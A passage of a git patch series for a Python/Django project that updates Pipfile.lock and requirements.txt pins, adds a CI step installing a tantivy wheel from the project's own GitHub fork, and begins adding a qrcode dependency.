+1601,45 @@ }, "pydantic": { "hashes": [ - "sha256:1740068fd8e2ef6eb27a20e5651df000978edce6da6803c2bef0bc74540f9548", - "sha256:210ce042e8f6f7c01168b2d84d4c9eb2b009fe7bf572c2266e235edf14bacd80", - "sha256:32c8b48dcd3b2ac4e78b0ba4af3a2c2eb6048cb75202f0ea7b34feb740efc340", - "sha256:3ecea2b9d80e5333303eeb77e180b90e95eea8f765d08c3d278cd56b00345d01", - "sha256:4b03e42ec20286f052490423682016fd80fda830d8e4119f8ab13ec7464c0132", - "sha256:4c5370a7edaac06daee3af1c8b1192e305bc102abcbf2a92374b5bc793818599", - "sha256:56e3ff861c3b9c6857579de282ce8baabf443f42ffba355bf070770ed63e11e1", - "sha256:5a1f9f747851338933942db7af7b6ee8268568ef2ed86c4185c6ef4402e80ba8", - "sha256:5e08865bc6464df8c7d61439ef4439829e3ab62ab1669cddea8dd00cd74b9ffe", - "sha256:61d9dce220447fb74f45e73d7ff3b530e25db30192ad8d425166d43c5deb6df0", - "sha256:654db58ae399fe6434e55325a2c3e959836bd17a6f6a0b6ca8107ea0571d2e17", - "sha256:678bcf5591b63cc917100dc50ab6caebe597ac67e8c9ccb75e698f66038ea953", - "sha256:6cf25c1a65c27923a17b3da28a0bdb99f62ee04230c931d83e888012851f4e7f", - "sha256:75ac15385a3534d887a99c713aa3da88a30fbd6204a5cd0dc4dab3d770b9bd2f", - "sha256:75b297827b59bc229cac1a23a2f7a4ac0031068e5be0ce385be1462e7e17a35d", - "sha256:7d6f6e7305244bddb4414ba7094ce910560c907bdfa3501e9db1a7fd7eaea127", - "sha256:84bafe2e60b5e78bc64a2941b4c071a4b7404c5c907f5f5a99b0139781e69ed8", - "sha256:854223752ba81e3abf663d685f105c64150873cc6f5d0c01d3e3220bcff7d36f", - "sha256:8ae5dd6b721459bfa30805f4c25880e0dd78fc5b5879f9f7a692196ddcb5a580", - "sha256:8ef467901d7a41fa0ca6db9ae3ec0021e3f657ce2c208e98cd511f3161c762c6", - "sha256:968ac42970f57b8344ee08837b62f6ee6f53c33f603547a55571c954a4225691", - "sha256:97cce3ae7341f7620a0ba5ef6cf043975cd9d2b81f3aa5f4ea37928269bc1b87", - "sha256:9849f031cf8a2f0a928fe885e5a04b08006d6d41876b8bbd2fc68a18f9f2e3fd", - "sha256:9f00790179497767aae6bcdc36355792c79e7bbb20b145ff449700eb076c5f96", - "sha256:b87326822e71bd5f313e7d3bfdc77ac3247035ac10b0c0618bd99dcf95b1e687", - "sha256:b97c1fac8c49be29486df85968682b0afa77e1b809aff74b83081cc115e52f33", - "sha256:bc0898c12f8e9c97f6cd44c0ed70d55749eaf783716896960b4ecce2edfd2d69", - "sha256:c553f6a156deb868ba38a23cf0df886c63492e9257f60a79c0fd8e7173537653", - "sha256:c636925f38b8db208e09d344c7aa4f29a86bb9947495dd6b6d376ad10334fb78", - "sha256:c958d053453a1c4b1c2062b05cd42d9d5c8eb67537b8d5a7e3c3032943ecd261", - "sha256:d3a3c792a58e1622667a2837512099eac62490cdfd63bd407993aaf200a4cf1f", - "sha256:e31647d85a2013d926ce60b84f9dd5300d44535a9941fe825dc349ae1f760df9", - "sha256:e70ca129d2053fb8b728ee7d1af8e553a928d7e301a311094b8a0501adc8763d", - "sha256:efff03cc7a4f29d9009d1c96ceb1e7a70a65cfe86e89d34e4a5f2ab1e5693737", - "sha256:f59ef915cac80275245824e9d771ee939133be38215555e9dc90c6cb148aaeb5", - "sha256:f8e81fc5fb17dae698f52bdd1c4f18b6ca674d7068242b2aff075f588301bbb0" + "sha256:0fe8a415cea8f340e7a9af9c54fc71a649b43e8ca3cc732986116b3cb135d303", + "sha256:1289c180abd4bd4555bb927c42ee42abc3aee02b0fb2d1223fb7c6e5bef87dbe", + "sha256:1eb2085c13bce1612da8537b2d90f549c8cbb05c67e8f22854e201bde5d98a47", + "sha256:2031de0967c279df0d8a1c72b4ffc411ecd06bac607a212892757db7462fc494", + "sha256:2a7bac939fa326db1ab741c9d7f44c565a1d1e80908b3797f7f81a4f86bc8d33", + "sha256:2d5a58feb9a39f481eda4d5ca220aa8b9d4f21a41274760b9bc66bfd72595b86", + "sha256:2f9a6fab5f82ada41d56b0602606a5506aab165ca54e52bc4545028382ef1c5d", + "sha256:2fcfb5296d7877af406ba1547dfde9943b1256d8928732267e2653c26938cd9c", + "sha256:549a8e3d81df0a85226963611950b12d2d334f214436a19537b2efed61b7639a", + "sha256:598da88dfa127b666852bef6d0d796573a8cf5009ffd62104094a4fe39599565", + "sha256:5d1197e462e0364906cbc19681605cb7c036f2475c899b6f296104ad42b9f5fb", + "sha256:69328e15cfda2c392da4e713443c7dbffa1505bc9d566e71e55abe14c97ddc62", + "sha256:6a9dfa722316f4acf4460afdf5d41d5246a80e249c7ff475c43a3a1e9d75cf62", + "sha256:6b30bcb8cbfccfcf02acb8f1a261143fab622831d9c0989707e0e659f77a18e0", + "sha256:6c076be61cd0177a8433c0adcb03475baf4ee91edf5a4e550161ad57fc90f523", + "sha256:771735dc43cf8383959dc9b90aa281f0b6092321ca98677c5fb6125a6f56d58d", + "sha256:795e34e6cc065f8f498c89b894a3c6da294a936ee71e644e4bd44de048af1405", + "sha256:87afda5539d5140cb8ba9e8b8c8865cb5b1463924d38490d73d3ccfd80896b3f", + "sha256:8fb2aa3ab3728d950bcc885a2e9eff6c8fc40bc0b7bb434e555c215491bcf48b", + "sha256:a1fcb59f2f355ec350073af41d927bf83a63b50e640f4dbaa01053a28b7a7718", + "sha256:a5e7add47a5b5a40c49b3036d464e3c7802f8ae0d1e66035ea16aa5b7a3923ed", + "sha256:a73f489aebd0c2121ed974054cb2759af8a9f747de120acd2c3394cf84176ccb", + "sha256:ab26038b8375581dc832a63c948f261ae0aa21f1d34c1293469f135fa92972a5", + "sha256:b0d191db0f92dfcb1dec210ca244fdae5cbe918c6050b342d619c09d31eea0cc", + "sha256:b749a43aa51e32839c9d71dc67eb1e4221bb04af1033a32e3923d46f9effa942", + "sha256:b7ccf02d7eb340b216ec33e53a3a629856afe1c6e0ef91d84a4e6f2fb2ca70fe", + "sha256:ba5b2e6fe6ca2b7e013398bc7d7b170e21cce322d266ffcd57cca313e54fb246", + "sha256:ba5c4a8552bff16c61882db58544116d021d0b31ee7c66958d14cf386a5b5350", + "sha256:c79e6a11a07da7374f46970410b41d5e266f7f38f6a17a9c4823db80dadf4303", + "sha256:ca48477862372ac3770969b9d75f1bf66131d386dba79506c46d75e6b48c1e09", + "sha256:dea7adcc33d5d105896401a1f37d56b47d443a2b2605ff8a969a0ed5543f7e33", + "sha256:e0a16d274b588767602b7646fa05af2782576a6cf1022f4ba74cbb4db66f6ca8", + "sha256:e4129b528c6baa99a429f97ce733fff478ec955513630e61b49804b6cf9b224a", + "sha256:e5f805d2d5d0a41633651a73fa4ecdd0b3d7a49de4ec3fadf062fe16501ddbf1", + "sha256:ef6c96b2baa2100ec91a4b428f80d8f28a3c9e53568219b6c298c1125572ebc6", + "sha256:fdbdd1d630195689f325c9ef1a12900524dceb503b00a987663ff4f58669b93d" ], "markers": "python_version >= '3.7'", - "version": "==1.10.13" + "version": "==1.10.12" }, "pydot": { "hashes": [ @@ -1863,34 +1861,34 @@ }, "scipy": { "hashes": [ - "sha256:00f325434b6424952fbb636506f0567898dca7b0f7654d48f1c382ea338ce9a3", - "sha256:033c3fd95d55012dd1148b201b72ae854d5086d25e7c316ec9850de4fe776929", - "sha256:0d3a136ae1ff0883fffbb1b05b0b2fea251cb1046a5077d0b435a1839b3e52b7", - "sha256:15f237e890c24aef6891c7d008f9ff7e758c6ef39a2b5df264650eb7900403c0", - "sha256:370f569c57e1d888304052c18e58f4a927338eafdaef78613c685ca2ea0d1fa0", - "sha256:3e1a8a4657673bfae1e05e1e1d6e94b0cabe5ed0c7c144c8aa7b7dbb774ce5c1", - "sha256:4b4bb134c7aa457e26cc6ea482b016fef45db71417d55cc6d8f43d799cdf9ef2", - "sha256:5305792c7110e32ff155aed0df46aa60a60fc6e52cd4ee02cdeb67eaccd5356e", - "sha256:5664e364f90be8219283eeb844323ff8cd79d7acbd64e15eb9c46b9bc7f6a42a", - "sha256:5f290cf561a4b4edfe8d1001ee4be6da60c1c4ea712985b58bf6bc62badee221", - "sha256:74e89dc5e00201e71dd94f5f382ab1c6a9f3ff806c7d24e4e90928bb1aafb280", - "sha256:7abda0e62ef00cde826d441485e2e32fe737bdddee3324e35c0e01dee65e2a88", - "sha256:90271dbde4be191522b3903fc97334e3956d7cfb9cce3f0718d0ab4fd7d8bfd6", - "sha256:91770cb3b1e81ae19463b3c235bf1e0e330767dca9eb4cd73ba3ded6c4151e4d", - "sha256:925c6f09d0053b1c0f90b2d92d03b261e889b20d1c9b08a3a51f61afc5f58165", - "sha256:9885e3e4f13b2bd44aaf2a1a6390a11add9f48d5295f7a592393ceb8991577a3", - "sha256:9ea7f579182d83d00fed0e5c11a4aa5ffe01460444219dedc448a36adf0c3917", - "sha256:a63d1ec9cadecce838467ce0631c17c15c7197ae61e49429434ba01d618caa83", - "sha256:bae66a2d7d5768eaa33008fa5a974389f167183c87bf39160d3fefe6664f8ddc", - "sha256:bba4d955f54edd61899776bad459bf7326e14b9fa1c552181f0479cc60a568cd", - "sha256:c77da50c9a91e23beb63c2a711ef9e9ca9a2060442757dffee34ea41847d8156", - "sha256:d2f6dee6cbb0e263b8142ed587bc93e3ed5e777f1f75448d24fb923d9fd4dce6", - "sha256:dfcc1552add7cb7c13fb70efcb2389d0624d571aaf2c80b04117e2755a0c5d15", - "sha256:e04aa19acc324a1a076abb4035dabe9b64badb19f76ad9c798bde39d41025cdc", - "sha256:e1f97cd89c0fe1a0685f8f89d85fa305deb3067d0668151571ba50913e445820" + "sha256:0f3261f14b767b316d7137c66cc4f33a80ea05841b9c87ad83a726205b901423", + "sha256:10eb6af2f751aa3424762948e5352f707b0dece77288206f227864ddf675aca0", + "sha256:1342ca385c673208f32472830c10110a9dcd053cf0c4b7d4cd7026d0335a6c1d", + "sha256:214cdf04bbae7a54784f8431f976704ed607c4bc69ba0d5d5d6a9df84374df76", + "sha256:2b997a5369e2d30c97995dcb29d638701f8000d04df01b8e947f206e5d0ac788", + "sha256:2c91cf049ffb5575917f2a01da1da082fd24ed48120d08a6e7297dfcac771dcd", + "sha256:3aeb87661de987f8ec56fa6950863994cd427209158255a389fc5aea51fa7055", + "sha256:4447ad057d7597476f9862ecbd9285bbf13ba9d73ce25acfa4e4b11c6801b4c9", + "sha256:542a757e2a6ec409e71df3d8fd20127afbbacb1c07990cb23c5870c13953d899", + "sha256:8d9886f44ef8c9e776cb7527fb01455bf4f4a46c455c4682edc2c2cc8cd78562", + "sha256:90d3b1364e751d8214e325c371f0ee0dd38419268bf4888b2ae1040a6b266b2a", + "sha256:95763fbda1206bec41157582bea482f50eb3702c85fffcf6d24394b071c0e87a", + "sha256:ac74b1512d38718fb6a491c439aa7b3605b96b1ed3be6599c17d49d6c60fca18", + "sha256:afdb0d983f6135d50770dd979df50bf1c7f58b5b33e0eb8cf5c73c70600eae1d", + "sha256:b0620240ef445b5ddde52460e6bc3483b7c9c750275369379e5f609a1050911c", + "sha256:b133f237bd8ba73bad51bc12eb4f2d84cbec999753bf25ba58235e9fc2096d80", + "sha256:b29318a5e39bd200ca4381d80b065cdf3076c7d7281c5e36569e99273867f61d", + "sha256:b8425fa963a32936c9773ee3ce44a765d8ff67eed5f4ac81dc1e4a819a238ee9", + "sha256:d2b813bfbe8dec6a75164523de650bad41f4405d35b0fa24c2c28ae07fcefb20", + "sha256:d690e1ca993c8f7ede6d22e5637541217fc6a4d3f78b3672a6fe454dbb7eb9a7", + "sha256:e367904a0fec76433bf3fbf3e85bf60dae8e9e585ffd21898ab1085a29a04d16", + "sha256:ea932570b1c2a30edafca922345854ff2cd20d43cd9123b6dacfdecebfc1a80b", + "sha256:f28f1f6cfeb48339c192efc6275749b2a25a7e49c4d8369a28b6591da02fbc9a", + "sha256:f73102f769ee06041a3aa26b5841359b1a93cc364ce45609657751795e8f4a4a", + "sha256:fa4909c6c20c3d91480533cddbc0e7c6d849e7d9ded692918c76ce5964997898" ], "markers": "python_version < '3.13' and python_version >= '3.9'", - "version": "==1.11.3" + "version": "==1.11.2" }, "setuptools": { "hashes": [ @@ -1953,11 +1951,6 @@ "markers": "python_version >= '3.8'", "version": "==3.5.0" }, - "tantivy": { - "git": "git+https://github.com/HXSecurity/tantivy-py", - "markers": "python_version >= '3.7'", - "ref": "1b8841a38de01a0c27e16ccf224eb405a2bf23ee" - }, "tomli": { "hashes": [ "sha256:939de3e7a6161af0c887ef91b7d41a53e7c5a1ca976325f429cb46ea9bc30ecc", @@ -1985,11 +1978,11 @@ }, "types-awscrt": { "hashes": [ - "sha256:477a14565909312fe1de70d0b301548e83c038f436b8a1d7c83729e87cdd0b85", - "sha256:d8c379420ba75b1e43687d12b0b772a5bb17f352859a2bef6aa8f0abde123f55" + "sha256:61833aa140e724a9098025610f4b8cde3dcf65b842631d7447378f9f5db4e1fd", + "sha256:68fffeb75396e9e7614cd930b2d52295f680230774750907bcafb56f11514043" ], "markers": "python_version >= '3.7' and python_version < '4.0'", - "version": "==0.19.2" + "version": "==0.19.1" }, "types-pymysql": { "hashes": [ @@ -2023,36 +2016,35 @@ }, "types-pyyaml": { "hashes": [ - "sha256:334373d392fde0fdf95af5c3f1661885fa10c52167b14593eb856289e1855062", - "sha256:c05bc6c158facb0676674b7f11fe3960db4f389718e19e62bd2b84d6205cfd24" + "sha256:7d340b19ca28cddfdba438ee638cd4084bde213e501a3978738543e27094775b", + "sha256:a461508f3096d1d5810ec5ab95d7eeecb651f3a15b71959999988942063bf01d" ], "index": "pypi", - "version": "==6.0.12.12" + "version": "==6.0.12.11" }, "types-redis": { "hashes": [ - "sha256:05b1bf92879b25df20433fa1af07784a0d7928c616dc2ebf9087618db77ccbd0", - "sha256:28c4153ddb5c9d4f10def44a2454673c361d2d5fc3cd867cf3bb1520f3f59a38" + "sha256:7865a843802937ab2ddca33579c4e255bfe73f87af85824ead7a6729ba92fc52", + "sha256:e0e9dcc530623db3a41ec058ccefdcd5c7582557f02ab5f7aa9a27fe10a78d7e" ], "index": "pypi", - "version": "==4.6.0.7" + "version": "==4.6.0.6" }, "types-requests": { "hashes": [ - "sha256:a2db9cb228a81da8348b49ad6db3f5519452dd20a9c1e1a868c83c5fe88fd1a9", - "sha256:cd74ce3b53c461f1228a9b783929ac73a666658f223e28ed29753771477b3bd0" + "sha256:938f51653c757716aeca5d72c405c5e2befad8b0d330e3b385ce7f148e1b10dc", + "sha256:d5d7a08965fca12bedf716eaf5430c6e3d0da9f3164a1dba2a7f3885f9ebe3c0" ], "index": "pypi", - "markers": "python_version >= '3.7'", - "version": "==2.31.0.6" + "version": "==2.31.0.3" }, "types-s3transfer": { "hashes": [ - "sha256:aca0f2486d0a3a5037cd5b8f3e20a4522a29579a8dd183281ff0aa1c4e2c8aa7", - "sha256:ae9ed9273465d9f43da8b96307383da410c6b59c3b2464c88d20b578768e97c6" + "sha256:1068877b6e59be5226fa3006ae64371ac9d5bc590dfdbd9c66fd0a075d3254ac", + "sha256:4ba9b483796fdcd026aa162ee03bdcedd2bf7d08e9387c820dcdd158b0102057" ], "markers": "python_version >= '3.7' and python_version < '4.0'", - "version": "==0.7.0" + "version": "==0.6.2" }, "types-urllib3": { "hashes": [ @@ -2127,10 +2119,10 @@ }, "wcwidth": { "hashes": [ - "sha256:77f719e01648ed600dfa5402c347481c0992263b81a027344f3e1ba25493a704", - "sha256:8705c569999ffbb4f6a87c6d1b80f324bd6db952f5eb0b95bc07517f4c1813d4" + "sha256:795b138f6875577cd91bba52baf9e445cd5118fd32723b460e30a0af30ea230e", + "sha256:a5220780a404dbe3353789870978e472cfe477761f06ee55077256e509b156d0" ], - "version": "==0.2.8" + "version": "==0.2.6" }, "xlrd": { "hashes": [ @@ -2157,45 +2149,39 @@ }, "zope.interface": { "hashes": [ - "sha256:0c8cf55261e15590065039696607f6c9c1aeda700ceee40c70478552d323b3ff", - "sha256:13b7d0f2a67eb83c385880489dbb80145e9d344427b4262c49fbf2581677c11c", - "sha256:1f294a15f7723fc0d3b40701ca9b446133ec713eafc1cc6afa7b3d98666ee1ac", - "sha256:239a4a08525c080ff833560171d23b249f7f4d17fcbf9316ef4159f44997616f", - "sha256:2f8d89721834524a813f37fa174bac074ec3d179858e4ad1b7efd4401f8ac45d", - "sha256:2fdc7ccbd6eb6b7df5353012fbed6c3c5d04ceaca0038f75e601060e95345309", - "sha256:34c15ca9248f2e095ef2e93af2d633358c5f048c49fbfddf5fdfc47d5e263736", - "sha256:387545206c56b0315fbadb0431d5129c797f92dc59e276b3ce82db07ac1c6179", - "sha256:43b576c34ef0c1f5a4981163b551a8781896f2a37f71b8655fd20b5af0386abb", - "sha256:57d0a8ce40ce440f96a2c77824ee94bf0d0925e6089df7366c2272ccefcb7941", - "sha256:5a804abc126b33824a44a7aa94f06cd211a18bbf31898ba04bd0924fbe9d282d", - "sha256:67be3ca75012c6e9b109860820a8b6c9a84bfb036fbd1076246b98e56951ca92", - "sha256:6af47f10cfc54c2ba2d825220f180cc1e2d4914d783d6fc0cd93d43d7bc1c78b", - "sha256:6dc998f6de015723196a904045e5a2217f3590b62ea31990672e31fbc5370b41", - "sha256:70d2cef1bf529bff41559be2de9d44d47b002f65e17f43c73ddefc92f32bf00f", - "sha256:7ebc4d34e7620c4f0da7bf162c81978fce0ea820e4fa1e8fc40ee763839805f3", - "sha256:964a7af27379ff4357dad1256d9f215047e70e93009e532d36dcb8909036033d", - "sha256:97806e9ca3651588c1baaebb8d0c5ee3db95430b612db354c199b57378312ee8", - "sha256:9b9bc671626281f6045ad61d93a60f52fd5e8209b1610972cf0ef1bbe6d808e3", - "sha256:9ffdaa5290422ac0f1688cb8adb1b94ca56cee3ad11f29f2ae301df8aecba7d1", - "sha256:a0da79117952a9a41253696ed3e8b560a425197d4e41634a23b1507efe3273f1", - "sha256:a41f87bb93b8048fe866fa9e3d0c51e27fe55149035dcf5f43da4b56732c0a40", - "sha256:aa6fd016e9644406d0a61313e50348c706e911dca29736a3266fc9e28ec4ca6d", - "sha256:ad54ed57bdfa3254d23ae04a4b1ce405954969c1b0550cc2d1d2990e8b439de1", - "sha256:b012d023b4fb59183909b45d7f97fb493ef7a46d2838a5e716e3155081894605", - "sha256:b51b64432eed4c0744241e9ce5c70dcfecac866dff720e746d0a9c82f371dfa7", - "sha256:bbe81def9cf3e46f16ce01d9bfd8bea595e06505e51b7baf45115c77352675fd", - "sha256:c9559138690e1bd4ea6cd0954d22d1e9251e8025ce9ede5d0af0ceae4a401e43", - "sha256:e30506bcb03de8983f78884807e4fd95d8db6e65b69257eea05d13d519b83ac0", - "sha256:e33e86fd65f369f10608b08729c8f1c92ec7e0e485964670b4d2633a4812d36b", - "sha256:e441e8b7d587af0414d25e8d05e27040d78581388eed4c54c30c0c91aad3a379", - "sha256:e8bb9c990ca9027b4214fa543fd4025818dc95f8b7abce79d61dc8a2112b561a", - "sha256:ef43ee91c193f827e49599e824385ec7c7f3cd152d74cb1dfe02cb135f264d83", - "sha256:ef467d86d3cfde8b39ea1b35090208b0447caaabd38405420830f7fd85fbdd56", - "sha256:f89b28772fc2562ed9ad871c865f5320ef761a7fcc188a935e21fe8b31a38ca9", - "sha256:fddbab55a2473f1d3b8833ec6b7ac31e8211b0aa608df5ab09ce07f3727326de" + "sha256:042f2381118b093714081fd82c98e3b189b68db38ee7d35b63c327c470ef8373", + "sha256:0ec9653825f837fbddc4e4b603d90269b501486c11800d7c761eee7ce46d1bbb", + "sha256:12175ca6b4db7621aedd7c30aa7cfa0a2d65ea3a0105393e05482d7a2d367446", + "sha256:1592f68ae11e557b9ff2bc96ac8fc30b187e77c45a3c9cd876e3368c53dc5ba8", + "sha256:23ac41d52fd15dd8be77e3257bc51bbb82469cf7f5e9a30b75e903e21439d16c", + "sha256:424d23b97fa1542d7be882eae0c0fc3d6827784105264a8169a26ce16db260d8", + "sha256:4407b1435572e3e1610797c9203ad2753666c62883b921318c5403fb7139dec2", + "sha256:48f4d38cf4b462e75fac78b6f11ad47b06b1c568eb59896db5b6ec1094eb467f", + "sha256:4c3d7dfd897a588ec27e391edbe3dd320a03684457470415870254e714126b1f", + "sha256:5171eb073474a5038321409a630904fd61f12dd1856dd7e9d19cd6fe092cbbc5", + "sha256:5a158846d0fca0a908c1afb281ddba88744d403f2550dc34405c3691769cdd85", + "sha256:6ee934f023f875ec2cfd2b05a937bd817efcc6c4c3f55c5778cbf78e58362ddc", + "sha256:790c1d9d8f9c92819c31ea660cd43c3d5451df1df61e2e814a6f99cebb292788", + "sha256:809fe3bf1a91393abc7e92d607976bbb8586512913a79f2bf7d7ec15bd8ea518", + "sha256:87b690bbee9876163210fd3f500ee59f5803e4a6607d1b1238833b8885ebd410", + "sha256:89086c9d3490a0f265a3c4b794037a84541ff5ffa28bb9c24cc9f66566968464", + "sha256:99856d6c98a326abbcc2363827e16bd6044f70f2ef42f453c0bd5440c4ce24e5", + "sha256:aab584725afd10c710b8f1e6e208dbee2d0ad009f57d674cb9d1b3964037275d", + "sha256:af169ba897692e9cd984a81cb0f02e46dacdc07d6cf9fd5c91e81f8efaf93d52", + "sha256:b39b8711578dcfd45fc0140993403b8a81e879ec25d53189f3faa1f006087dca", + "sha256:b3f543ae9d3408549a9900720f18c0194ac0fe810cecda2a584fd4dca2eb3bb8", + "sha256:d0583b75f2e70ec93f100931660328965bb9ff65ae54695fb3fa0a1255daa6f2", + "sha256:dfbbbf0809a3606046a41f8561c3eada9db811be94138f42d9135a5c47e75f6f", + "sha256:e538f2d4a6ffb6edfb303ce70ae7e88629ac6e5581870e66c306d9ad7b564a58", + "sha256:eba51599370c87088d8882ab74f637de0c4f04a6d08a312dce49368ba9ed5c2a", + "sha256:ee4b43f35f5dc15e1fec55ccb53c130adb1d11e8ad8263d68b1284b66a04190d", + "sha256:f2363e5fd81afb650085c6686f2ee3706975c54f331b426800b53531191fdf28", + "sha256:f299c020c6679cb389814a3b81200fe55d428012c5e76da7e722491f5d205990", + "sha256:f72f23bab1848edb7472309e9898603141644faec9fd57a823ea6b4d1c4c8995", + "sha256:fa90bac61c9dc3e1a563e5babb3fd2c0c1c80567e815442ddbe561eadc803b30" ], "markers": "python_version >= '3.7'", - "version": "==6.1" + "version": "==6.0" } }, "develop": {} diff --git a/requirements.txt b/requirements.txt index 810997645..7f685d367 100644 --- a/requirements.txt +++ b/requirements.txt @@ -1,5 +1,5 @@ -i https://pypi.org/simple -aliyun-python-sdk-core==2.14.0 +aliyun-python-sdk-core==2.13.36 aliyun-python-sdk-core-v3==2.13.33 aliyun-python-sdk-kms==2.16.2 amqp==5.1.1; python_version >= '3.6' @@ -9,26 +9,26 @@ attrs==23.1.0; python_version >= '3.7' autopep8==2.0.4; python_version >= '3.6' billiard==4.1.0; python_version >= '3.7' boto3==1.24.59; python_version >= '3.7' -boto3-stubs==1.28.62; python_version >= '3.7' +boto3-stubs==1.28.52; python_version >= '3.7' botocore==1.27.91; python_version >= '3.7' -botocore-stubs==1.31.62; python_version >= '3.7' and python_version < '4.0' +botocore-stubs==1.31.52; python_version >= '3.7' and python_version < '4.0' celery==5.3.0rc1; python_version >= '3.7' celery-singleton==0.3.1; python_version >= '3.6' and python_version < '4.0' certifi==2023.7.22; python_version >= '3.6' -cffi==1.16.0; python_version >= '3.8' +cffi==1.15.1 chardet==5.2.0; python_version >= '3.7' -charset-normalizer==3.3.0; python_full_version >= '3.7.0' +charset-normalizer==3.2.0; python_full_version >= '3.7.0' click==8.1.7; python_version >= '3.7' click-didyoumean==0.3.0; python_full_version >= '3.6.2' and python_full_version < '4.0.0' click-plugins==1.1.1 click-repl==0.3.0; python_version >= '3.6' crcmod==1.7 cryptography==41.0.4; python_version >= '3.7' -dataclasses-json==0.6.1; python_version >= '3.7' and python_version < '4.0' +dataclasses-json==0.6.0; python_version >= '3.7' and python_version < '4.0' ddt==1.6.0 defusedxml==0.7.1; python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4' diff-match-patch==20230430; python_version >= '3.7' -django==3.2.22; python_version >= '3.6' +django==3.2.21; python_version >= '3.6' django-add-default-value==0.10.0 django-celery-beat==2.2.0 django-cors-headers==4.2.0; python_version >= '3.8' @@ -44,8 +44,8 @@ django-ranged-response==0.2.0 django-redis==5.2.0; python_version >= '3.6' django-rest-framework-proxy==1.6.0 django-seriously==0.4.3; python_version >= '3.6' -django-silk==5.0.4; python_version >= '3.8' -django-simple-captcha==0.5.20 +django-silk==5.0.3; python_version >= '3.7' +django-simple-captcha==0.5.18 django-stubs[compatible-mypy]==1.15.0; python_version >= '3.7' django-stubs-ext==4.2.2; python_version >= '3.8' django-timezone-field==4.2.3; python_version >= '3.5' @@ -64,7 +64,7 @@ et-xmlfile==1.1.0; python_version >= '3.6' flower==2.0.1; python_version >= '3.7' gevent==22.10.2; python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4, 3.5' gprof2dot==2022.7.29; python_version >= '2.7' -greenlet==3.0.0; platform_python_implementation == 'CPython' +greenlet==2.0.2; platform_python_implementation == 'CPython' gunicorn==20.1.0; python_version >= '3.5' humanize==4.8.0; python_version >= '3.8' id-validator==1.0.20; python_version >= '3' @@ -103,7 +103,7 @@ pycodestyle==2.11.0; python_version >= '3.8' pycparser==2.21 pycryptodome==3.19.0; python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4' pycryptodomex==3.14.1; python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4' -pydantic==1.10.13; python_version >= '3.7' +pydantic==1.10.12; python_version >= '3.7' pydot==1.4.2; python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3' pymysql==1.0.2; python_version >= '3.6' pyotp==2.9.0; python_version >= '3.7' @@ -120,25 +120,24 @@ redis==4.4.4; python_version >= '3.7' requests==2.31.0; python_version >= '3.7' result==0.8.0; python_version >= '3.7' s3transfer==0.6.2; python_version >= '3.7' -scipy==1.11.3; python_version < '3.13' and python_version >= '3.9' +scipy==1.11.2; python_version < '3.13' and python_version >= '3.9' setuptools==65.5.1; python_version >= '3.7' shortuuid==1.0.11; python_version >= '3.5' simhash==2.1.2 six==1.15.0; python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3' sqlparse==0.4.4; python_version >= '3.5' tablib[html,ods,xls,xlsx,yaml]==3.5.0; python_version >= '3.8' -tantivy@ git+https://github.com/HXSecurity/tantivy-py@1b8841a38de01a0c27e16ccf224eb405a2bf23ee tomli==2.0.1; python_version < '3.11' tornado==6.3.3; python_version >= '3.8' -types-awscrt==0.19.2; python_version >= '3.7' and python_version < '4.0' +types-awscrt==0.19.1; python_version >= '3.7' and python_version < '4.0' types-pymysql==1.1.0.1 types-pyopenssl==23.2.0.2 types-python-dateutil==2.8.19.14 types-pytz==2023.3.1.1 -types-pyyaml==6.0.12.12 -types-redis==4.6.0.7 -types-requests==2.31.0.6; python_version >= '3.7' -types-s3transfer==0.7.0; python_version >= '3.7' and python_version < '4.0' +types-pyyaml==6.0.12.11 +types-redis==4.6.0.6 +types-requests==2.31.0.3 +types-s3transfer==0.6.2; python_version >= '3.7' and python_version < '4.0' types-urllib3==1.26.25.14 typing-extensions==4.8.0; python_version >= '3.8' typing-inspect==0.9.0 @@ -148,8 +147,8 @@ urllib3==1.26.5; python_version >= '2.7' and python_version not in '3.0, 3.1, 3. uwsgi==2.0.22 uwsgitop==0.11 vine==5.0.0; python_version >= '3.6' -wcwidth==0.2.8 +wcwidth==0.2.6 xlrd==2.0.1 xlwt==1.3.0 zope.event==5.0; python_version >= '3.7' -zope.interface==6.1; python_version >= '3.7' +zope.interface==6.0; python_version >= '3.7' From dd884c4821ee345a0acdcc0cbf9103a2a2e7350c Mon Sep 17 00:00:00 2001 From: st1020 Date: Sat, 7 Oct 2023 15:59:56 +0800 Subject: [PATCH 37/92] feat: add tantivy search --- .github/actions/setup-python/action.yml | 2 ++ 1 file changed, 2 insertions(+) diff --git a/.github/actions/setup-python/action.yml b/.github/actions/setup-python/action.yml index 7f41a5d79..291813c0d 100644 --- a/.github/actions/setup-python/action.yml +++ b/.github/actions/setup-python/action.yml @@ -22,3 +22,5 @@ runs: python -m pip install --upgrade pip pip install wheel maturin pip install -r requirements.txt + curl -L https://github.com/HXSecurity/tantivy-py/releases/download/0.21.0/tantivy-0.20.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl -o /tmp/tantivy-0.20.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl + pip install /tmp/tantivy-0.20.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl From eaa8fd3876436e4f6e62f1bf5c8843a5eac5ac84 Mon Sep 17 00:00:00 2001 From: st1020 Date: Sat, 7 Oct 2023 17:33:58 +0800 Subject: [PATCH 38/92] deps: add qrcode dep --- Pipfile | 1 + Pipfile.lock | 709 ++++++++++++++++++++++++----------------------- requirements.txt | 40 +-- 3 files changed, 389 insertions(+), 361 deletions(-) diff --git a/Pipfile b/Pipfile index 1ecd2744c..e73cf2113 100644 --- a/Pipfile +++ b/Pipfile @@ -94,6 +94,7 @@ pandas = "~=2.1.0" pydot = "*" more-itertools = "*" pyotp = "~=2.9.0" +qrcode = "~=7.4" [dev-packages] diff --git a/Pipfile.lock b/Pipfile.lock index d2422fd3d..e534b09d2 100644 --- a/Pipfile.lock +++ b/Pipfile.lock @@ -1,7 +1,7 @@ { "_meta": { "hash": { - "sha256": "9031e1da5959c5d50e4c494f927bab8ca15f4b27cc6d5a595dc9a28754ff481f" + "sha256": 